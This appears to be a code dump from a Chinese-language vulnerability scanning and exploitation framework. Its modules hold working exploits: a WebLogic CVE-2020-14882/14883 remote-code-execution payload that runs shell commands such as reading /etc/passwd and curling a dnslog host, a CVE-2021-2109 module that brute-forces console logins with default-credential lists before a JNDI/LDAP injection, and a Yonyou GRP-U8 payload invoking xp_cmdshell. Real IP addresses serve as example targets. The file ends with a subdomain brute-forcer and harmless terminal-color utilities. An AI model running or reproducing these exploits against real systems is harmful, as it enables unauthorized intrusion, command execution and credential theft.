self.fofa='app="BEA-WebLogic-Server" || app="Weblogic_interface_7001"' 16 | self.refer= 'https://blog.csdn.net/weixin_41598660/article/details/109409965'\ 17 | 'https://github.com/feihong-cs/Java-Rce-Echo/blob/master/weblogic/code/WeblogicEcho.jsp'\ 18 | 'https://github.com/jas502n/CVE-2020-14882' 19 | self.bbb='攻击payload只支持w12' 20 | self.testisok=True 21 | 22 | if __file__[-3:]=='pyc': 23 | self._file=__file__[:-1] 24 | else: 25 | self._file=__file__ 26 | 27 | self.dnslog='q9pq1j.dnslog.cn' 28 | print('Current module use [%s]. You can change dnslog in %s'%(self.dnslog,self._file)) 29 | self.headers={'User-Agent': 'Mozilla/5.0'} 30 | 31 | self.rc_host=re.compile('(?<=://).+?(?=[:/])') 32 | self.vulpath_14883_1=r'''/console/css/%252e%252e%2fconsolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next(); weblogic.servlet.internal.ServletResponseImpl res =(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')''' 33 | # self.cmd_14883_1='cmd:cat /etc/passwd' 34 | self.cmd_14883_1='cmd:head -1 /etc/passwd' 35 | self.flag_14883_1='root:x:0' 36 | 37 | self.cmd_14883_2_dns='curl http://{prefix}.wls.%s'%self.dnslog 38 | self.cmd_14883_2_touch='touch ../../../wlserver/server/lib/consoleapp/webapp/framework/skins/wlsconsole/css/9.txt' 39 | self.vulpath_14883_2=r'''/console/css/%252e%252e%2fconsole.portal?_nfpb=false&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('{}');");''' 40 | self.flag_14883_2_dns=200 41 | self.flag2_14883_2_dns=404 42 | # 执行成功后的服务器,返回的状态码和包体都不一样。 43 | # 有的返回302,有的返回200,有的返回404 44 | # 包体也不一样,各个不同 45 | # 而且基于我们这样的具有回显的攻击技术,有的蜜罐会直接将 46 | # 各类意味着利用成功的数据(/etc/passwd、ipconfig、ifconfig等)显示出来, 47 | # 这就是抓取别人的poc的方法(https://42.194.230.121:1099/) 48 | # 所以,没法通过状态码、包体来判断是否利用成功 49 | # 应该通过dnslog的显示,来判断 50 | 51 | 52 | # 使用touch生成文件,然后读取文件是否存在来确定,也不靠谱... 53 | # 由于touch文件为空,而有一些服务器在读取不到文件时不会报错,也是返回200 空 54 | self.checkurl_14883_2_touch='/console/framework/skins/wlsconsole/css/9.txt' 55 | self.flag_14883_2_touch=200 56 | self.flag2_14883_2_touch=0 57 | 58 | 59 | def raw_httpget(self,url,headers): 60 | # url = http://12313.123.13.123:80/1.html 61 | host=self.rc_host.search(url).group() # 12313.123.13.123 62 | port=url.find(':',len('http://'),url.find('/',len('http://'))) 63 | if port==-1: 64 | port='80' # 默认 65 | path=url[url.find(host)+len(host):] 66 | else: 67 | port=url[port+1:url.find('/',len('http://'))] # 80 68 | path=url[url.find(host+':'+port)+len(host+':'+port):] # /1.html 69 | client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 70 | client.settimeout(10) 71 | client.connect((host, int(port))) 72 | headertxt='' 73 | headertxt+='Host:{}\r\n'.format(host) 74 | for k in headers: 75 | headertxt+='{}:{}\r\n'.format(k,headers[k]) 76 | # print(headertxt) 77 | req_data='GET {} HTTP/1.1\r\n{}\r\n'.format(path,headertxt).encode('utf-8') 78 | client.send(req_data) 79 | resp_data=b'' 80 | try: 81 | while 1: 82 | d=client.recv(1024) 83 | if d: 84 | resp_data+=d 85 | else: 86 | break 87 | resp_data=resp_data.decode('utf-8').split('\r\n\r\n')[1] 88 | except: 89 | resp_data='' 90 | return resp_data 91 | 92 | 93 | def c2Func(self,target): 94 | status=0 95 | returnData='' 96 | try: 97 | if target.startswith(('http://','https://')): 98 | # 这是为了拿到 这样格式的数据 99 | target=target+'/' 100 | target=target[:target.find('/',8)] # 在https://、http://的协议开头之后寻找/ 101 | else: 102 | target='http://'+target 103 | if 'root:x:0:0:root:/root:/bin/bash' in requests.post(url=target,verify=False,timeout=5).text:# 直接正常访问都存在敏感信息 104 | raise Exception('Honeypot!!') # 对抗蜜罐 105 | k,v=self.cmd_14883_1.split(':') 106 | headers=self.headers 107 | headers.update({k:v}) 108 | # # 使用可回显的payload攻击,如果用无回显payload打了有效果,可以在bp中试一下。 109 | # url=target.strip('/')+self.vulpath_14883_1 110 | # resp_data=self.raw_httpget(url,headers) 111 | # if self.flag_14883_1 in resp_data: 112 | # returnData='%s is vuln(%s), %s result: %s'%(target,self.vulname,self.cmd_14883_1,resp_data) 113 | # status=1 114 | 115 | # # 使用无回显的payload攻击-dnslog 116 | prefix=self.rc_host.search(target).group() 117 | cmd=self.cmd_14883_2_dns.replace('{prefix}',prefix) 118 | url=target.strip('/')+self.vulpath_14883_2.format(cmd) 119 | resp=requests.post(url=url,headers=headers,verify=False,timeout=5) 120 | if self.flag_14883_2_dns == resp.status_code or self.flag2_14883_2_dns==resp.status_code: 121 | # 有时候可有可能是假的,返回该状态码不一定攻击成功 122 | returnData='%s is likely vuln(%s), vulnpath:%s ,u should check dnslog:%s'%(target,self.vulname,url,prefix+'.'+self.dnslog) 123 | status=1 124 | 125 | # # 使用无回显的payload攻击-touch文件 126 | # url=target.strip('/')+self.vulpath_14883_2.format(self.cmd_14883_2_touch) 127 | # resp=requests.post(url=url,headers=headers,verify=False,timeout=5) 128 | # checkurl=target.strip('/')+self.checkurl_14883_2_touch 129 | # resp=requests.post(url=checkurl,headers=headers,verify=False,timeout=5) 130 | # if self.flag_14883_2_touch == resp.status_code and self.flag2_14883_2_touch== len(resp.text): 131 | # returnData='%s is vuln(%s), vulnpath:%s , touch file:%s'%(target,self.vulname,url,checkurl) 132 | # status=1 133 | except Exception as e: 134 | returnData=str(e) 135 | return status,returnData 136 | 137 | if __name__ == '__main__': 138 | target='http://192.168.199.137:7001' 139 | pocObj=c2Class() 140 | print(pocObj.c2Func(target)) -------------------------------------------------------------------------------- /pocmodules/weblogic/CVE-2021-2109.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | import requests 3 | import urllib 4 | import re 5 | import time 6 | requests.packages.urllib3.disable_warnings() 7 | 8 | class c2Class(object): 9 | def __init__(self): 10 | self.vulname = 'Weblogic rce in loginin(CVE-2021-2109)' 11 | self.vulsystem= 'Weblogic' 12 | self.vulsystemintro = 'WebLogic是美国Oracle公司出品的一个application server,'\ 13 | '确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型'\ 14 | '分布式Web应用。' 15 | self.vulversion = '10.3.6.0.0; 12.1.3.0.0; 12.2.1.3.0; 12.2.1.4.0; 14.1.1.0.0' 16 | self.fofa='app="Weblogic_interface_7001"' 17 | self.findtime='2021-01-2' 18 | self.cveid='CVE-2021-2109' 19 | self.refer= 'https://xz.aliyun.com/t/9049?page=1\nhttps://www.o2oxy.cn/3019.html' 20 | self.bbb='进一步利用,需要公网vps运行ldap服务,并在ldap服务目录下生成一个恶意java class文件' 21 | self.testisok=True 22 | 23 | if __file__[-3:]=='pyc': 24 | self._file=__file__[:-1] 25 | else: 26 | self._file=__file__ 27 | 28 | self.dnslog='wqla55.dnslog.cn' 29 | self.vulndnslog=self.dnslog[::-1].replace('.',';',1)[::-1] # kd17ah.dnslog;cn 30 | print('Current module use [%s]. You can change dnslog in %s'%(self.dnslog,self._file)) 31 | 32 | self.headers = { 33 | 'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0", 34 | 'Connection': "close", 35 | 'Content-Type': "application/json"} 36 | self.vulpath=r'/console/css/%25%32%65%25%32%65%25%32%66/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&cqqhandle=com.bea.console.handles.JndiBindingHandle(-ldap://{dnslog}/hello;AdminServer-)' 37 | # self.vulpath='/console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&cqqhandle=com.bea.console.handles.JndiBindingHandle(-ldap://%s/whocare;AdminServer-)' 38 | self.rc_host=re.compile('(?<=://).+?(?=[:/])') 39 | self.flag=200 40 | 41 | self.loginurl='/console/login/LoginForm.jsp' 42 | self.logintext='WebLogic' 43 | self.userlist=['weblogic','system','mary','joe','wlcsystem','wlpisystem','admin'] 44 | self.pwdlist=['weblogic','welcomel','password','Oracle@123','security','wlcsystem','wlpisystem','admin','12345678'] 45 | 46 | def init(self,host): 47 | flag=0 48 | url=host+self.loginurl 49 | try: 50 | req=requests.get(url=url,verify=False,allow_redirects=False,timeout=2) 51 | if req.status_code==200 and self.logintext in req.text: 52 | # print(host) 53 | flag=1 54 | # print(host) 55 | except: 56 | pass 57 | return flag 58 | 59 | def bp(self,host,userid,pwdid): 60 | # https://www.cnblogs.com/haq5201314/p/9297208.html 61 | cookie='' 62 | url=host+'/console/j_security_check' 63 | user=self.userlist[userid] 64 | pwd=self.pwdlist[pwdid] 65 | data='j_username={}&j_password={}&j_character_encoding=UTF-8'.format(user,pwd) 66 | datas={} # 必须设为位键值对,否则爆破失败 67 | for j in data.split('&'): 68 | key,value=j.split('=',1) 69 | datas[key]=value 70 | try: 71 | time.sleep(1) 72 | req=requests.post(url=url,data=datas,verify=False,allow_redirects=False,timeout=2) 73 | # print(req.text) 74 | if req.status_code==302 and 'console' in req.headers['Location'] and 'LoginForm.jsp' not in req.headers['Location']: 75 | print('%s:%s|%s'%(host,user,pwd)) 76 | cookie=req.headers['Set-Cookie'] 77 | # print(cookie) 78 | except: 79 | pass 80 | return cookie 81 | 82 | def exp(self,host,cookie): 83 | status=0 84 | headers=self.headers 85 | headers['Cookie']=cookie 86 | url=host+self.vulpath 87 | prefix=self.rc_host.search(url).group() 88 | dnslog='%s.%s'%(prefix,self.vulndnslog) 89 | vulurl=url.replace('{dnslog}',dnslog) 90 | try: 91 | resp=requests.get(url=vulurl,headers=headers,verify=False,timeout=10) 92 | # print(resp.text) 93 | # print(resp.status_code) 94 | if self.flag == resp.status_code: 95 | returnData='vulpath: %s. u can check dnslog: %s'%(vulurl,dnslog) # 96 | status=1 97 | except Exception as e: 98 | print(e) 99 | returnData=str(e) 100 | return status,returnData 101 | 102 | 103 | def c2Func(self,target): 104 | state=0 105 | result_data='' 106 | if not target.startswith('*'): 107 | step=0 108 | else: 109 | step=int(target[1:2]) 110 | data=target[2:] 111 | if step==0: 112 | if target.startswith(('http://','https://')): # 这是为了拿到 这样格式的数据 113 | host=target+'/' 114 | host=target[:target.find('/',8)] # 在https://、http://的协议开头之后寻找/ 115 | else: 116 | host='http://'+target 117 | if self.init(host)==0: 118 | return state,result_data 119 | result_data='*1' 120 | userid=0 121 | pwdid=0 122 | cookie='' 123 | result_data+='%s|%d|%d|%s'%(host,userid,pwdid,cookie) 124 | state=-1 125 | return state,result_data 126 | elif step==1: 127 | result_data='*1' 128 | host,userid,pwdid,cookie=data.split('|') 129 | userid=int(userid) 130 | pwdid=int(pwdid) 131 | cookie=self.bp(host,userid,pwdid) 132 | if cookie!='': 133 | result_data='*2' 134 | result_data+='%s|%d|%d|%s'%(host,userid,pwdid,cookie) 135 | state=-1 136 | return state,result_data 137 | pwdid+=1 138 | if pwdid==len(self.pwdlist): 139 | userid+=1 140 | if userid==len(self.userlist): 141 | return state,result_data 142 | else: 143 | pwdid=0 144 | else: 145 | pass 146 | result_data+='%s|%s|%s|%s'%(host,userid,pwdid,cookie) 147 | state=-1 148 | return state,result_data 149 | elif step==2: 150 | host,userid,pwdid,cookie=data.split('|') 151 | state,info=self.exp(host,cookie) 152 | if state==0: 153 | state,info=self.exp(host,cookie)# 如果失败,就再来一次 154 | if state==1: 155 | user=self.userlist[int(userid)] 156 | pwd=self.pwdlist[int(pwdid)] 157 | result_data='%s is vuln(%s), u/p: %s/%s. %s'%(host,self.vulname,user,pwd,info) 158 | return state,result_data 159 | 160 | 161 | 162 | if __name__ == '__main__': 163 | target='*2https://202.152.186.6|0|0|aa' 164 | pocObj=c2Class() 165 | print(pocObj.c2Func(target)) 166 | -------------------------------------------------------------------------------- /pocmodules/yonyou/grp-u8-rce.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | import requests 3 | import urllib 4 | import re 5 | requests.packages.urllib3.disable_warnings() 6 | 7 | class c2Class(object): 8 | def __init__(self): 9 | self.vulname = 'Yonyou GRP-U8 sqli and rce(2020-09)' 10 | self.vulsystem= 'Yonyou GRP-U8' # ERP-enterprise resource plan 企业资源规划 GRP-goverment resource plan 政府资源规划 11 | self.vulsystemintro = '用友GRP-U8行政事业财务管理软件是用友公司专注于国家电子政务事业,基于云计算技术所推出的新一代产品,是我国行政事业财务领域最专业的政府财务管理软件。' 12 | self.vulversion = '' 13 | self.fofa='app="用友-GRP-U8"' # 或者 title="*GRP-U8*" 14 | self.findtime='2020-09-18' 15 | self.cveid='' 16 | self.refer= 'https://www.cnblogs.com/yuzly/p/13675224.html\nhttps://blog.csdn.net/qq_37602797/article/details/110695423\nhttps://nosec.org/home/detail/4561.html' 17 | self.bbb='XXE漏洞,源于应用在解析XML输入时没有禁止外部实体载入,导致可加载恶意外部文件。' 18 | self.pyv=3 19 | self.testisok=True 20 | 21 | self.vulpath='/Proxy' 22 | self.headers={'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.0;)','Content-Type': 'application/x-www-form-urlencoded'} 23 | self.cmd='whoami' 24 | self.sqli_rce="exec xp_cmdshell '%s'"%self.cmd 25 | self.sqli_info="select user,db_name(),host_name(),@@version" 26 | self.payload='''cVer=9.8.0&dp=XMLAS_DataRequestProviderNameDataSetProviderDataData%s'''%self.sqli_rce 27 | self.rc_output=re.compile(r'(?<=).+?(?=)') 28 | # self.rc_output_rce=re.compile(r'(?<=这样格式的数据 39 | target=target+'/' 40 | target=target[:target.find('/',8)] # 在https://、http://的协议开头之后寻找/ 41 | else: 42 | target='http://'+target 43 | try: 44 | url=target.strip('/')+self.vulpath 45 | resp=requests.post(url=url,data=self.payload,headers=self.headers,verify=False,timeout=5) 46 | # print(resp.status_code) 47 | resp_content=str(resp.content) 48 | # print(resp_content) 49 | if self.flag == resp.status_code and self.flag2 in resp_content: 50 | result='' 51 | for i in self.rc_output.findall(resp_content): 52 | result=result+i 53 | # print(resp.status_code) 54 | returnData='%s is vuln(%s),%s:%s'%(url,self.vulname,self.cmd,result) 55 | status=1 56 | except Exception as e: 57 | # print(e) 58 | returnData=str(e) 59 | return status,returnData 60 | 61 | if __name__ == '__main__': 62 | target='http://39.99.243.39:88/Proxy' 63 | pocObj=c2Class() 64 | print(pocObj.c2Func(target)) -------------------------------------------------------------------------------- /premodules/demo.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | 3 | class c2Class(object): 4 | ''' 5 | __init__用来放置一些通用的数据,例如:漏洞名称、漏洞涉及系统、漏洞CVE编号、漏洞payload、漏洞验证路径 6 | ''' 7 | def __init__(self): 8 | self.vulname = 'demo' 9 | self.vulsystem= '' 10 | self.vulversion = '' 11 | self.refer= '' 12 | self.testisok=True 13 | 14 | self.vulpath='' 15 | self.payload='' 16 | self.verifypath='' 17 | self.flag='' 18 | 19 | ''' 20 | c2Func函数解析 21 | c2Func函数接收目标target,进行处理 22 | 返回状态statue、数据returnData 23 | > 状态statue允许4个值(定义于lib/code/static.py): 24 | RETRY(重试)=-1 25 | FAIL(失败)=0 26 | SUCCESS(成功)=1 27 | MORETRY(成功,且有目标需要重试)=10 28 | 29 | > 数据returnData允许3种类型: 'str' [str-list] (str|str-list,str|str-list) 30 | > str一般为字符串对象,也允许是可以通过str()转换为string类型的对象(类定义了__str__方法) 31 | > str-list则为上诉对象的列表 32 | 33 | demo场景1: 34 | 检测目标A是否存在漏洞vul 35 | 存在漏洞: status=1,returnData='%s has vul'%A 36 | 不存在漏洞: status=0,returnData='' 37 | 38 | demo场景2: 39 | 爆破目标端口 40 | 无法访问,返回: status=0,returnData='' 41 | 发现一个端口: status=1,returnData='80' 42 | 发现多个端口: status=1,returnData=['80','8080','9001'] 43 | 44 | demo场景3: 45 | 检测域名a.com(1级域名)的2、3级域名 46 | target为1级域名,程序生成大量需要爆破的2级域名,并返回: status=-1,returnData=[a.a.com,b.a.com,c.a.com,%col%.a.com ...] 47 | target为2级域名,程序检测发现不存在该域名,返回: status=0,returnData='' 48 | target为2级域名,程序检测发现存在该域名,并继续生成大量需要爆破的3级域名,返回: status=10,returnData=('www.a.com',[a.www.a.com,b.www.a.com,c.www.a.com,%col%.www.a.com ...]) 49 | target为3级域名,程序检测发现不存在该域名: status=0,returnData='' 50 | target为3级域名,程序检测发现存在该域名: status=1,returnData='image.www.a.com' 51 | 52 | 53 | 注意:由于当前程序的运行路径和本模块文件不一致, 54 | 所以如果需要读取外部文件a.txt,应该使用如下方法: 55 | 1、直接使用a.txt的绝对路径进行读取 56 | 2、将a.txt放置在本文件目录下,获取本文件的目录`os.path.dirname(os.path.abspath(__file__))`并os.path.join拼接a.txt,进行读取 57 | 3、将a.txt放置在data/目录下,可通过data/a.txt 进行读取 58 | ''' 59 | def c2Func(self,target): 60 | status = 0 61 | returnData = '' 62 | return status,returnData 63 | 64 | if __name__ == '__main__': 65 | target='hello' 66 | pocObj=c2Class() 67 | print(pocObj.c2Func(target)) -------------------------------------------------------------------------------- /premodules/fget-web-all.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | import requests 3 | import re 4 | requests.packages.urllib3.disable_warnings() 5 | 6 | class c2Class(object): 7 | def __init__(self): 8 | self.isRelease=True 9 | self.protocol=('http://','https://') 10 | self.ok_protocol=(' self.startlevel+self.depth: 72 | return 0,'' 73 | # 根域需要子域赋值 74 | if self.rootdomain == cdomain: 75 | keepcheck = self.sdbGenerate(cdomain) 76 | return -1,keepcheck 77 | # 替换占位符 78 | for r in self.regex_list: 79 | if r in cdomain: 80 | keepcheck=[] 81 | for i in self.regex_list[r]: 82 | keepcheck.append(domainClass(cdomain.count('.'),cdomain.replace(r,i,1))) 83 | return -1,keepcheck 84 | # 进行查询 85 | try: 86 | answers = resolver.query(cdomain) 87 | if answers:# 查询成功 88 | if cdomain in self.find_subdomains: 89 | raise Exception('Repeat domain') # 如果存在则报异常 90 | self.find_subdomains.add(cdomain) 91 | ips = ', '.join(sorted([answer.address for answer in answers])) 92 | # info = cdomain + '->' + ips 93 | info = [cdomain] 94 | if cdomain.count('.') == self.startlevel+self.depth: #达到深度 95 | # return 1,cdomain+'->'+ips # 直接返回 96 | return 1,cdomain # 直接返回 97 | keepbrute = [] 98 | try: # 查询cname 99 | answers = resolver.query(cdomain,'cname') 100 | cname = answers[0].target.to_unicode().rstrip('.') 101 | if cname.endswith(self.rootdomain) and cname not in self.find_subdomains: # 根域之下且不是已发现的域名 102 | self.find_subdomains.add(cname) 103 | info.append(cname) 104 | keepbrute.append(domainClass(cname.count('.'),cname)) 105 | except Exception as e: 106 | pass 107 | # 下一个深度的子域赋值 108 | keepbrute.extend(self.sdbGenerate(cdomain)) 109 | return 10,(info,keepbrute) 110 | except dns.resolver.NoNameservers as e: # ns不可访问 111 | return -1,domainClass(cdomain.count('.'),cdomain) 112 | except dns.exception.Timeout as e:# 查询延时 113 | self.timeout_comain[cdomain] = self.timeout_comain.get(cdomain, 0) + 1 114 | if self.timeout_comain[cdomain] <=1: 115 | return -1,domainClass(cdomain.count('.'),cdomain) 116 | except (dns.resolver.NoAnswer,dns.resolver.NXDOMAIN) as e: # 查询不到域名 117 | pass 118 | except dns.name.EmptyLabel as e: 119 | pass 120 | except Exception as e: 121 | # print(e) 122 | pass 123 | return 0,'' 124 | 125 | # 可信dns服务器检测 126 | def test_server(self,server,dns_servers): 127 | resolver = dns.resolver.Resolver(configure=False) 128 | resolver.lifetime = resolver.timeout = 5.0 129 | resolver.nameservers = [server] 130 | try: 131 | answers = resolver.query('public-dns-a.baidu.com') 132 | if answers[0].address != '180.76.76.76': 133 | raise Exception('Incorrect DNS response') 134 | try: 135 | resolver.query('false.domain.123.123.baidu.com') 136 | except Exception as e: 137 | dns_servers.append(server) 138 | except Exception as e: 139 | pass 140 | # 子域集生成 141 | def sdbGenerate(self,rdomain): 142 | keepbrute=[] 143 | for s in self.subs: 144 | keepbrute.append(domainClass(rdomain.count('.')+1,s+'.'+rdomain)) 145 | return keepbrute 146 | 147 | 148 | if __name__ == '__main__': 149 | target="gzport.com" 150 | pocObj=c2Class() 151 | print(pocObj.c2Func(target)) -------------------------------------------------------------------------------- /requirement.txt: -------------------------------------------------------------------------------- 1 | gevent 2 | requests 3 | func_timeout -------------------------------------------------------------------------------- /thirdparty/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0671/MyCT/1982dc6fdb4e03f180eb587f50d277ef6174db9d/thirdparty/__init__.py -------------------------------------------------------------------------------- /thirdparty/ansistrm.py: -------------------------------------------------------------------------------- 1 | #coding:utf-8 2 | import logging 3 | import os 4 | import re 5 | 6 | if os.name =='nt': 7 | import ctypes 8 | 9 | class ColorizingStreamHandler(logging.StreamHandler): 10 | # color_map 为ansi转义序列中色彩的代码 11 | color_map={ 12 | 'black':0, 13 | 'red':1, 14 | 'green':2, 15 | 'yellow':3, 16 | 'blue':4, 17 | 'magenta':5, 18 | 'cyan':6, 19 | 'white':7 20 | } 21 | # level_map 为日志记录各级别的对应ansi转义序列(背景色,字体色,字体强度) 22 | level_map={ 23 | logging.DEBUG:(None,'blue',False), 24 | logging.INFO:(None,'green',False), 25 | logging.WARNING:(None,'yellow',None), 26 | logging.ERROR:(None,'red',None), 27 | logging.CRITICAL:('red','While',None), 28 | } 29 | csi='\x1b[' # ansi转义序列的前缀 30 | reset='\x1b[0m' # 当ansi转义序列为\x1b[0m时,则输出使用默认格式 31 | 32 | disable_coloring=False # 禁止彩色输出,默认为否 33 | 34 | 35 | # @property将函数转换为属性 36 | # is_tty 当前流为终端且允许彩色输出,返回true 37 | @property 38 | def is_tty(self): 39 | isatty=getattr(self.stream,'isatty',None) 40 | return isatty and isatty() and not self.disable_coloring 41 | 42 | # 在logging.__file__下,打开__init__.py,找到emit函数 43 | # 可以看出来,emit函数 将记录进行格式化,然后输出 44 | # 而首先,我们进行彩色输出的第一步,需要给记录添加上彩色ANSI转义序列 45 | # 然后需要进行 彩色输出 46 | # 也就是说:我们先需要修改emit函数,使其调用专门的彩色输出 47 | # 所以我们在这里进行重构 48 | def emit(self,record): 49 | try: 50 | message=self.format(record) #将记录进行格式化,后面我们会重构format方法,使得format可以根据需要给记录添加上彩色ANSI转义序列 51 | stream=self.stream 52 | if not self.is_tty: #如果不是终端,则做些简单处理就直接输出 53 | if message and message[0]=="\r": 54 | message=message[1:] 55 | stream.write(message) 56 | else: #终端的话,调用专用彩色输出函数 57 | self.output_colorized(message) 58 | stream.write(getattr(self,'terminator','\n')) #写入流 尾随符 59 | self.flush() #将内容从缓存写入流中 60 | except (KeyboardInterrupt, SystemExit): 61 | raise 62 | except IOError: 63 | pass 64 | except: 65 | self.handleError(record) 66 | 67 | # 接下来,我们需要构造彩色输出函数 68 | if not os.name == "nt": # 如果不是windows系统,则unix终端一般原生支持ansi转义序列,故而输出函数只需要直接write即可 69 | def output_colorized(self,message): 70 | self.stream.write(message) 71 | else: 72 | ansi_escape=re.compile(r'\x1b\[((?:\d+)(?:;(?:\d+))*)m') #通过这个正则,可以找到输出内容中的转义序列部分和日志记录部分 73 | nt_color_map={ 74 | 0:0x00, 75 | 1:0x04, 76 | 2:0x02, 77 | 3:0x06, 78 | 4:0x01, 79 | 5:0x05, 80 | 6:0x03, 81 | 7:0x07, 82 | } # 因为windows控制端的颜色代码和ansi转义序列的颜色代码并不是一一对应的,所以需要进行映射 83 | 84 | def output_colorized(self,message): 85 | message_parts=self.ansi_escape.split(message) 86 | write=self.stream.write 87 | handle=None 88 | file_descripto=getattr(self.stream,'fileno',None) 89 | if file_descripto is not None: 90 | file_descripto=file_descripto() 91 | if file_descripto in (1,2): 92 | handle=ctypes.windll.kernel32.GetStdHandle(-10-file_descripto) 93 | while message_parts: 94 | text=message_parts.pop(0) 95 | if text: 96 | write(text) 97 | if message_parts: 98 | ansi_escape_parms=message_parts.pop(0) 99 | if handle is not None: 100 | ansi_escape_parms=[int(p) for p in ansi_escape_parms.split(';')] 101 | color=0 102 | for p in ansi_escape_parms: 103 | if 40<=p<=47: 104 | color|=self.nt_color_map[p-40]*0x10 105 | elif 30<=p<=37: 106 | color|=self.nt_color_map[p-30] 107 | elif p==1: 108 | color|=0x08 109 | elif p==0: 110 | color=0x07 111 | else: 112 | pass 113 | ctypes.windll.kernel32.SetConsoleTextAttribute(handle,color) 114 | def colorize(self,message,record): 115 | if record.levelno in self.level_map and self.is_tty: 116 | bg,fg,bold=self.level_map[record.levelno] 117 | ansi_escape_parms=[] 118 | if bg in self.color_map: 119 | ansi_escape_parms.append(str(self.color_map[bg]+40)) 120 | if fg in self.color_map: 121 | ansi_escape_parms.append(str(self.color_map [fg]+30)) 122 | if bold in self.color_map: 123 | ansi_escape_parms.append('1') 124 | if ansi_escape_parms and message: 125 | if message.lstrip()!=message: 126 | prefix=re.search(r'^\s+',message).group(0) 127 | message=message[len(prefix):] 128 | else: 129 | prefix="" 130 | message="%s%s"%(prefix,''.join((self.csi,';'.join(ansi_escape_parms),'m',message,self.reset))) 131 | return message 132 | def format(self,record): 133 | message=logging.StreamHandler.format(self,record) 134 | return self.colorize(message,record) -------------------------------------------------------------------------------- /thirdparty/colorama/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0671/MyCT/1982dc6fdb4e03f180eb587f50d277ef6174db9d/thirdparty/colorama/__init__.py -------------------------------------------------------------------------------- /thirdparty/colorama/ansi.py: -------------------------------------------------------------------------------- 1 | ''' 2 | This module generates ANSI character codes to printing colors to terminals. 3 | See: http://en.wikipedia.org/wiki/ANSI_escape_code 4 | ''' 5 | 6 | CSI = '\033[' 7 | 8 | def code_to_chars(code): 9 | return CSI + str(code) + 'm' 10 | 11 | class AnsiCodes(object): 12 | def __init__(self, codes): 13 | for name in dir(codes): 14 | if not name.startswith('_'): 15 | value = getattr(codes, name) 16 | setattr(self, name, code_to_chars(value)) 17 | 18 | class AnsiFore: 19 | BLACK = 30 20 | RED = 31 21 | GREEN = 32 22 | YELLOW = 33 23 | BLUE = 34 24 | MAGENTA = 35 25 | CYAN = 36 26 | WHITE = 37 27 | RESET = 39 28 | 29 | class AnsiBack: 30 | BLACK = 40 31 | RED = 41 32 | GREEN = 42 33 | YELLOW = 43 34 | BLUE = 44 35 | MAGENTA = 45 36 | CYAN = 46 37 | WHITE = 47 38 | RESET = 49 39 | 40 | class AnsiStyle: 41 | BRIGHT = 1 42 | DIM = 2 43 | NORMAL = 22 44 | RESET_ALL = 0 45 | 46 | Fore = AnsiCodes( AnsiFore ) 47 | Back = AnsiCodes( AnsiBack ) 48 | Style = AnsiCodes( AnsiStyle ) 49 | 50 | -------------------------------------------------------------------------------- /thirdparty/colorama/ansitowin32.py: -------------------------------------------------------------------------------- 1 | #coding:utf-8 2 | import re 3 | import sys 4 | 5 | from .ansi import AnsiFore, AnsiBack, AnsiStyle, Style 6 | from .winterm import WinTerm, WinColor, WinStyle 7 | from .win32 import windll 8 | 9 | 10 | if windll is not None: 11 | winterm = WinTerm() 12 | 13 | 14 | def is_a_tty(stream): 15 | return hasattr(stream, 'isatty') and stream.isatty() 16 | 17 | 18 | class StreamWrapper(object): 19 | ''' 20 | Wraps a stream (such as stdout), acting as a transparent proxy for all 21 | attribute access apart from method 'write()', which is delegated to our 22 | Converter instance. 23 | 意思就是,包装了流,重载了write方法。 24 | ''' 25 | def __init__(self, wrapped, converter): 26 | # double-underscore everything to prevent clashes with names of 27 | # attributes on the wrapped stream object. 28 | # 使用双下划线做为属性的前缀,以区分原流对象的属性。 29 | self.__wrapped = wrapped 30 | self.__convertor = converter 31 | 32 | def __getattr__(self, name): 33 | return getattr(self.__wrapped, name) 34 | 35 | def write(self, text): 36 | self.__convertor.write(text) 37 | 38 | 39 | class AnsiToWin32(object): 40 | ''' 41 | Implements a 'write()' method which, on Windows, will strip ANSI character 42 | sequences from the text, and if outputting to a tty, will convert them into 43 | win32 function calls. 44 | 实现一个'write()'方法,该方法在Windows上从文本中删除ANSI字符序列,如果输出到控制 45 | 台终端,则将其转换为win32函数调用。 46 | ''' 47 | ANSI_RE = re.compile('\033\[((?:\d|;)*)([a-zA-Z])') 48 | 49 | def __init__(self, wrapped, convert=None, strip=None, autoreset=False): 50 | # The wrapped stream (normally sys.stdout or sys.stderr) 51 | # 被包装的流 52 | self.wrapped = wrapped 53 | 54 | # should we reset colors to defaults after every .write() 55 | # 是否应该在每次write()之后将颜色重置为默认值? 56 | self.autoreset = autoreset 57 | 58 | # create the proxy wrapping our output stream 59 | # 创建一个包装我们输出流的代理 60 | self.stream = StreamWrapper(wrapped, self) 61 | 62 | on_windows = sys.platform.startswith('win') 63 | 64 | # should we strip ANSI sequences from our output? 65 | # 